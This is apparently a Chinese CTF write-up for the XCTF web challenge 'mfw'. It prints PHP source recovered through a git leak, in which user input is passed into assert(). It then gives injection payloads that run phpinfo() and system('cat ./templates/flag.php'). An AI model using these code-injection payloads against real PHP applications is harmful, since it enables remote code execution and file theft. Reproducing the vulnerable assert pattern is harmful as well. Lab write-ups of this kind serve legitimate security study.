攻防世界web-mfw

攻防世界

【难度】:3

【要点】:git泄露、php特性(assert函数)


根据页面提示可能存在git泄露,通过git泄露拿到源码。


<?php
 
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
 
$file = "templates/" . $page . ".php";
 
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
 
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
 
?>

本题的关键点在于assert函数特性:assert() 函数会将字符串作为 PHP 代码执行。当用户输入直接拼接到断言字符串中时,攻击者可以构造恶意输入执行任意代码。


进行拼接:?page=') or phpinfo();#,构成 assert("file_exists('templates/') or phpinfo();#.php')"),即执行file_exists('templates/') or phpinfo();#.php')的命令。

构造:?page=') or system('cat ./templates/flag.php'),查看源码成功拿到flag

(以上的命令最后都要url编码,不然不能成功执行。。)

posted @ 2025-07-12 13:00  埃克斯X  阅读(11)  评论(0)    收藏  举报